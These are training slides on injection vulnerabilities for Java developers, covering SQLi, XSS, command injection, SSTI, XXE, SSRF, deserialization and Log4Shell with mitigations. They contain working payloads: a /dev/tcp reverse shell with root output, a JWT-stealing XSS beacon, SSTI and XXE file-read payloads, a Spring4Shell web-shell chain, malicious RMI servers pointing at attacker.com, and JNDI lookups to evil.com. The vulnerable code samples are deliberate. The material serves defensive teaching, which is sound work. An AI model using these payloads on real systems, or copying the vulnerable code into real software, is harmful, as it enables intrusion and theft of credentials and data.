# tl;dr
These slides I've used for a private training on injection vulnerabilities for Java developers. I am publishing them as a simple reference for basic AppSec concepts and as a template for lazy penetration testers (like me) to create their own on-demand training materials for compliance or other reasons.
---
# avoiding injection vulnerabilities (private training slides)
---
# introduction to injection vulnerabilities
core idea behind injection vulnerabilities (SQLi, NoSQLi, OS cmd, etc)
```j
user input -> event -> function1 -> function2
\ ^ ^vuln^
\__________________/
```
---
**sidenote:** event sources
* Storage events
* DB events
* Kinesis events
* API calls
* Message queues
* Emails, push, SMS, etc
---
**sidenote:** file uploads
- file names
- processing files
- storing files
---
## SQLi
simple:
```java
try {
Class.forName(driver).newInstance();
conn = DriverManager.getConnection(url + dbName, userName, password);
System.out.println("Connected to the database");
Statement st = conn.createStatement();
String query = "SELECT * FROM User where userid='"
+ user + "'";
```
---
not simple:
* hunting down every unparametrized request
* making sure parametrization is correctly implemented
* making sure it is not possible to modify the SQLR by tampering with JSON data
* searching for second-order SQLi
* making sure no functions that directly work with SQL are exposed to users
---
### Postgres SQLi demo
- stacked queries almost always used
- all usual SQLi exfiltration channels available
- `pg_read_file`, `COPY ... TO ...`, and even RCE sometimes
- quote filters can be bypassed with `CHR` or `
---
#### simple live SQLi exploitation
*refer to casts/sqli.cast*
---
#### data flow
*from curl to PostgreSQL*
```bash
"{\"username\":\"rick'; update users set password=md5('password') where username = 'rick' --\", \"password\":\"foo\"}" # cURL payload
{"username":"rick'; update users set password=md5('password') where username = 'rick' --", "password":"foo"} # decoded data
select * from users where username = 'rick'; update users set password=md5('password') where username = 'rick' -- ' limit 1 # database SQL
```
---
#### vulnerable code example
*LoginController.java*:
```java
... snip ...
@RequestMapping(value = "/login", method = RequestMethod.POST, produces = "application/json", consumes = "application/json")
LoginResponse login(@RequestBody LoginRequest input) {
User user = User.fetch(input.username);
... snip ...
```
---
*User.java*:
```java
public static User fetch(String un) {
Statement stmt = null;
User user = null;
try {
... snip ...
String query = "select * from users where username = '" + un + "' limit 1";
ResultSet rs = stmt.executeQuery(query);
... snip ...
```
---
#### other exfiltration channels
time-based:
```SQL
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name limit 1
```
boolean-based:
```text
' and substr(version(),1,10) = 'PostgreSQL' and '1
' and substr(version(),1,10) = 'PostgreXXX' and '1
```
---
error-based:
```SQL
,(CASE WHEN ((SELECT CAST(CHR(32)||(SELECT query_to_xml('select * from pg_user',true,true,'')) AS NUMERIC)='1')) THEN name ELSE note END)
```
```text
ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<usename>postgres</usename>
<usesysid>10</usesysid>
<usecreatedb>true</usecreatedb>
<usesuper>true</usesuper>
<userepl>true</userepl>
<usebypassrls>true</usebypassrls>
<passwd>********</passwd>
<valuntil xsi:nil="true"/>
<useconfig xsi:nil="true"/>
</row>
... snip ...
```
---
### mitigations
* input validation
* surprisingly, code scanning may help here
* ORMs/connectors that do not allow you to perform direct requests
* not using direct requests at all (i.e. debug) in exposed environments
---
**sidenote:** data flow/taint analysis
* tracking untrusted user input
* sources and sinks
* reviewing everything it touches
```j
json_req -> function1 -> function2 -> function3
^vuln^
```
---
## NoSQLi
*similar mechanisms, different techniques*
* JSON-based (e.g. Mongo)
```json
{"username": {"$ne": null}, "password": {"$ne": null}}
```
* Input-based
```js
db.injection.insert({success:1});
```
---
### mitigations
* request structure validation
* user input validation
* ORMs
---
## XSS
```js
alert(document.cookie)
```
main types:
- stored and rendered
- file upload
- reflected
- DOM-based
---
### simple stored XSS: demo
- simple stored XSS example
- vulnerability has both backend and frontend parts (split responsibility)
- will be found by any automated fuzzer, but still very often present
---
#### exploitation demo
```html
<img src="." onerror="$.get('http://localhost:8081/catcher?'+localStorage.jwt)">
```
```http
$ nc -l 8081
OPTIONS /catcher?eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJyaWNrIn0.lLdv2SY2TWzzXVKSahFDWPLcUHwpXpjsLnhwo0ioRFM HTTP/1.1
Host: localhost:8081
Origin: http://localhost:1337
Access-Control-Request-Method: GET
Content-Length: 0
Access-Control-Request-Headers: x-auth-token
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Referer: http://localhost:1337/
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate
```
---
#### data flow
```json
{"username":"rick","body":"<img src=\".\" onerror=$.get('http://localhost:8081/catcher?'+localStorage.jwt)>\""} # request
{
"id": "d8c58b91-3e17-4fe1-9653-bd06e28783f9",
"username": "rick",
"body": "<img src=\".\" onerror=$.get('http://localhost:8081/catcher?'+localStorage.jwt)>\"",
"created_on": "2022-09-21T14:31:35.505+0000"
} # response
rendered:
<img src="." onerror="$.get('http://localhost:8081/catcher?'+localStorage.jwt)">
```
---
#### vulnerable code example
JS:
```js
function fetchComments() { // JS
$.get("http://localhost:8080/comments", function(data){
$('#comments-container').html('')
data.forEach(function(comment){
if (comment.body.indexOf("<script>") < 0) {
$("#comments-container").append(template(comment));
}
});
setupDeleteCommentHandler();
});
}
```
---
Java:
```java
@RequestMapping(value = "/comments", method = RequestMethod.POST, produces = "application/json", consumes = "application/json") // comment create request
Comment createComment(@RequestHeader(value="x-auth-token") String token, @RequestBody CommentRequest input) {
return Comment.create(input.username, input.body);
}
```
---
```java
public static Comment create(String username, String body){ // comment create (.commit writes to DB)
long time = new Date().getTime();
Timestamp timestamp = new Timestamp(time);
Comment comment = new Comment(UUID.randomUUID().toString(), username, body, timestamp);
try {
if (comment.commit()) {
return comment;
} else {
throw new BadRequest("Unable to save comment");
}
} catch (Exception e) {
throw new ServerError(e.getMessage());
}
}
```
---
## OS command injection
simple example:
```java
try {
String comm = "cmd.exe /c dir "+user_path;
Process process = Runtime.getRuntime().exec(comm);
```
---
surprisingly, not simple:
* not using commands at all
* not trusting blacklisting nor whitelisting
* not trusting self-written string sanitization
---
### OS command injection: demo
> [!note] I've yet to find an OS command injection with CVSS lower than 9.
```java
processBuilder.command("bash", "-c", cmd);
```
---
#### exploitation demo
```SHELL
$ curl "http://localhost:8080/cowsay?input=hello%27%20%7Cbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F777%200%3E%261%20%23"
___
$ nc -lvnp 777
listening on [any] 777 ...
connect to [10.0.2.15] from (UNKNOWN) [172.22.0.5] 37684
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7572cc50101f:/# id
id
uid=0(root) gid=0(root) groups=0(root)
```
---
#### data flow
```SHELL
hello%27%20%7Cbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F777%200%3E%261%20%23
```
```SHELL
hello' |bash -i >& /dev/tcp/10.0.2.15/777 0>&1 #
```
```SHELL
/usr/games/cowsay 'hello' |bash -i >& /dev/tcp/10.0.2.15/777 0>&1 #'
```
---
#### vulnerable code example
```Java
public class Cowsay {
public static String run(String input) {
ProcessBuilder processBuilder = new ProcessBuilder();
String cmd = "/usr/games/cowsay '" + input + "'";
System.out.println(cmd);
processBuilder.command("bash", "-c", cmd);
StringBuilder output = new StringBuilder();
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line + "\n");
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
```
---
### mitigation
* every command call and dynamic code generation method is a ticking bomb and must be handled accordingly
* same with every third-party component that does that
---
## SSTI
beware of template languages:
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
```
---
* Expression Language - EL (used by JSF,JSP,CDI)
```java
PARSER = new SpelExpressionParser();
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
```
```j
Enter a String to evaluate:
{5*5}
[25]
```
---
exploitation vectors:
* blind detection (timing/external interaction)
* RFI
* RCE
* authorization bypass
---
* FreeMarker (outdated allows for sandbox escape)
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
---
* Velocity
```java
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```
---
* Thymeleaf (aside from special attributes, preprocessing can be abused to achieve code execution)
```java
<a th:href="@{__${path}__}" th:title="${title}">
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
---
* Spring View Manipulation
*credits: https://github.com/veracode-research/spring-view-manipulation*
```java
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
* Pebble
* Jinjava
* Hubspot
---
taint analysis sinks:
* template processing
* dynamic AST/code generation, dynamic compilation
* components that eval templates or touch outside binaries that do (e.g. imagemagick, ffmpeg)
---
### mitigation
* taint analysis, automated code scanning
* user input sanitization
* WAF
---
## directory traversal
pseudocode example:
```python
with open('/tmp/'+json_req["id"],'r') as f:
process(f.read())
```
---
**sidenote:** URLs
```python
requests.get("https://url/api/object/{}".format(json_req["id"]))
```
turns into
```text
GET /api/object/asd/../../admin/get_env HTTP/1.1
```
---
### mitigation
- input validation
- taint analysis
- WAF
---
## anything-with-a-query-language injection
* in general, treat executing string-based queries with caution
* even the simplest query languages allow for some form of request tampering
examples: connections strings, LDAP, XPath
---
**case:** JSON IAM policy injection
* application hosts Word documents on an S3 bucket
* provides users with a URL with signed policy upon request
* JSON treated as a string, injecting JSON chars into the URL allows to add claims
```java
String policy = "{{'resource':'{}'}}"; // example
sign(policy.format(document_name));
```
---
# input processing vulnerabilities
core idea behind input processing issues
```j
user input -> decode -> process -> do stuff
^ vuln ^
```
---
## SSRF
*issuing requests is dangerous, getting responses can be fatal*
```
POST /api/load?url=http://wherever.com HTTP/1.1
```
---
non-trivial examples:
* files with external links being processed
* loading and caching images or other media
* webhooks
* external service interaction
---
### exploitation
* IMDSv1:
```js
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
```
* Header information disclosure/implied authentication:
```
POST /evil HTTP/1.1
X-Auth: mysupersecrettoken
```
* Internal resources
---
**case:** signing data
* data signing API endpoint
* undocumented; allows to load files from URLs
* allows embedding the signature in file
* allows reading arbitrary GET responses
```js
return sign(load(data), key)
```
---
### mitigation
* validate all input to make sure URLs cannot make it through
* know which functions of your code implicitly accept URLs
* WAF
---
## XXE
*XML has a lot of functions*
```java
DocumentBuilder db = DocumentBuilderFactory.newInstance().newDocumentBuilder();
Document doc = db.parse(input);
```
VS
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);
```
or
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);
```
---
**sidenote:** file read exploitation:
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
```
---
**sidenote:** SSRF:
```xml
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
```
---
mitigation:
* use secure XML parsers
* alternatively, do not use XML, it is year 2021 after all
---
### XSLT
*lab credits: https://github.com/eoftedal/deserialize*
```HTTP
POST /api/contacts/1/html HTTP/1.1
Host: localhost
Content-Type: application/xslt
Accept: text/html
Content-Length: 241
<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
```
---
code example:
```java
@RequestMapping(value = " /{id}/html", method=RequestMethod.POST)
@ResponseBody
public final String format(@PathVariable int id, HttpEntity<String> xslt ){
Contact contact = contactRepository.get(id);
try {
String xml = Formatter.format(contact, xslt.getBody());
return xml;
} catch(Exception ex) {
return ex.getMessage();
}
}
```
---
```java
public class Formatter {
public static String format(Contact contact, String xslt) throws Exception {
System.out.println(xslt);
XStream xstream = new XStream();
xstream.alias("contact", Contact.class);
Path path = Paths.get("./doc.xslt");
Files.write(path, xslt.getBytes());
TraxSource traxSource = new TraxSource(contact, xstream);
Writer buffer = new StringWriter();
Transformer transformer = TransformerFactory.newInstance().newTransformer(
new StreamSource(path.toFile()));
transformer.transform(traxSource, new StreamResult(buffer));
return buffer.toString();
}
}
```
---
## insecure deserialization and class injection
*the bane of Java applications*
```bash
root@kali# java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
```
---
possible sources:
* Java object deserialization or similar libraries that allow dynamic objects
* XML protocols or other means of data transfer that allow dynamic data
---
simplest examples:
```j
data -> deserializer
data -> formatted string -> deserializer
weak tokens -> signature forgery -> deserialization
```
---
*not only rO0*
- XML, as in Apache Struts 2 RCE
- in general, any dynamic object builders
- dynamically loaded files, combined with a write vulnerability
- in general, any dynamic code execution
---
### simple deserialization exploitation demo
*lab: https://github.com/vulhub/vulhub/tree/master/mojarra/jsf-viewstate-deserialization*
*refer to casts/deserialization.cast*
*gadget structure https://gist.github.com/frohoff/24af7913611f8406eaf3*
---
### XML deserialization
request example:
```HTTP
POST /api/contacts HTTP/1.1
Host: localhost
Content-Type: application/xml
Accept: application/xml
<dynamic-proxy>
<interface>org.insecurelabs.api.contacts.Contact</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command><string>/usr/bin/curl</string><string>http://[yourid].burpcollaborator.net</string></command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
```
*more at http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/*
---
### Spring4Shell as a class injection example
*credit: LunaSec https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/*
```SHELL
$ curl 'http://localhost:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test'
$ # wait, what?
```
---
ModelAttribute example:
```java
public class Greeting {
private long id;
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
}
@Controller
public class HelloController {
@PostMapping("/greeting")
public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
return "hello";
}
}
```
---
Class injection exploitation example:
```java
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
```
---
a series of requests result in creation of `shell.jsp` log with the following logging pattern:
```java
%{prefix}i java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i
```
```shell
curl http://localhost:8080/shell.jsp?cmd=whoami
```
---
mitigation:
* do not use deserialization
* do not ever allow passing serialized data as arguments
* research how your parsers treat object creation, metadata and language extensions
* validate user input
---
# JNDI injection
*and a brief Log4Shell case study*
> [!NOTE] The only risk level higher than CVSS 10.0 is having a logo and a Wiki article for a vulnerability.
---
## what is JNDI again?
*boring and long definition*:
```text
Java Naming and Directory Interface (JNDI) is a Java API that allows clients to discover and look up data and objects via a name. These objects can be stored in different naming or directory services, such as Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), or Domain Name Service (DNS).
```
---
URL examples:
```
ldap://localhost:389/cn=homedir,cn=Me,ou=People,o=JNDIExample
rmi://localhost:1234/neohope/jndi/test01
```
---
## JNDI injections in the past
*nice sum-up articles/presentations*:
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
---
### offensive use of JNDI
- **InitialContext.lookup** sink to RCE
- deserialization gadget
- unsafe reflection
---
### pre-JDK 1.8.0_121
core mechanism:
```j
JNDI URL ->
javax.naming.Reference instance ->
unknown classFactory and attacker-controlled classFactoryLocation ->
URLClassLoader ->
RCE
```
---
**vulnerable** example:
```java
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}
```
---
```java
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/'
Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
```
---
### pre-CVE-2018-3149
- LDAP instead of RMI
- the same mechanism
- how *not* to fix a vulnerability
---
### JDK 1.8.0_191+
- classFactoryLocation not used anymore
- javaFactory can still be attacker-controlled
- javaFactory is used to extract javax.naming.Reference
---
Tomcat exploitation example:
```j
JNDI URL ->
javax.naming.Reference instance ->
BeanFactory ->
Reference to ELProcessor with a redefined setter ->
eval arbitrary string
```
---
exploit example:
```java
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
```
---
### configuring JNDI
- whitelisting hosts
- whitelisting class names and factory names
- restricting JNDI URL protocols
---
## Log4shell
*a lot of people talked about this -- https://github.com/snyk-labs/awesome-log4shell*
```
${jndi:ldap://evil.com:1389/a} in ALL fields!
```
---
### underlying mechanism
- log4j could do JNDI lookups all along
- no gadget required, javaCodeBase+javaFactory in LDAP
---
### vulnerable application example
```java
@RestController
public class MainController {
private static final Logger logger = LogManager.getLogger("HelloWorld");
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
}
```
---
### exploitation
```java
log.info("${jndi:ldap://evil.com:1389/a}")
```
```SHELL
~ ldapsearch -x -H ldap://patch.log4shell.com:1389
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
#
dn:: Y249bG9nNHNoZWxsLWhvdHBhdGNoLCA=
cn: log4shell-hotpatch
javaClassName: attempting to patch Log4Shell vulnerability with payload hosted
on: http://patch.log4shell.com:80/Log4ShellHotpatch.class
javaCodeBase: http://patch.log4shell.com:80/
objectclass: javaNamingReference
javaFactory: Log4ShellHotpatch
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
```
---
```URL
http://patch.log4shell.com:80/Log4ShellHotpatch.class
```
```java
public class Log4ShellHotpatch implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
/* payload */
}
}
```
---
### hour-one mitigations
- https://github.com/apache/logging-log4j2/compare/rel/2.14.1...rel/2.15.0
- limits JNDI classes and protocols
- limits trusted hosts to load classes from
- `ENV LOG4J_FORMAT_MSG_NO_LOOKUPS true`
- `%m{nolookups}`
---
### patch bypasses
- JNDI still usable, so DoS was found (boring) and subsequently escalated to RCE (not boring)
- `LOG4J_FORMAT_MSG_NO_LOOKUPS` and `%m{nolookups}` bypassed via altering the thread context (e.g. `${ctx:apiversion}`) in some cases
- host verification bypassed with `127.0.0.1#evil.com`
---
### post-patch vulnerable code example
```java
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
// Add user controlled input to threadcontext;
// Used in log via ${ctx:apiversion}
ThreadContext.put("apiversion", apiVersion);
// Notice how these changes remove apiVersion from directly being logged
logger.info("Received a request for API version");
return "Hello, world!";
}
```
---
### JDBC JNDI injection
another JNDI injection was subsequently discovered:
*screenshot redacted*
---
### lessons learned (code)
- JNDI is disabled by default
- host verification checks made consistent
- ~~remote class loading has never occured again~~
---
### lessons learned (massive-scale RCE)
- Twitter PoC to active exploitation takes a couple of hours
- Application-level log analysis incident response is rarely done correctly
- Waiting for a CVE to be assigned and a patch released often takes too long
- Surprisingly, **proper network configuration** saved some applications
---
# conclusions
- Injection vulnerabilities will thrive for years to come despite framework/library countermeasures
- Any place where a request is built from a string could be a vulnerability
- Automated data flow analysis is good at injections, but not perfect
- Secure coding principles are better derived from real-world mistakes
---
# questions
`if you have any`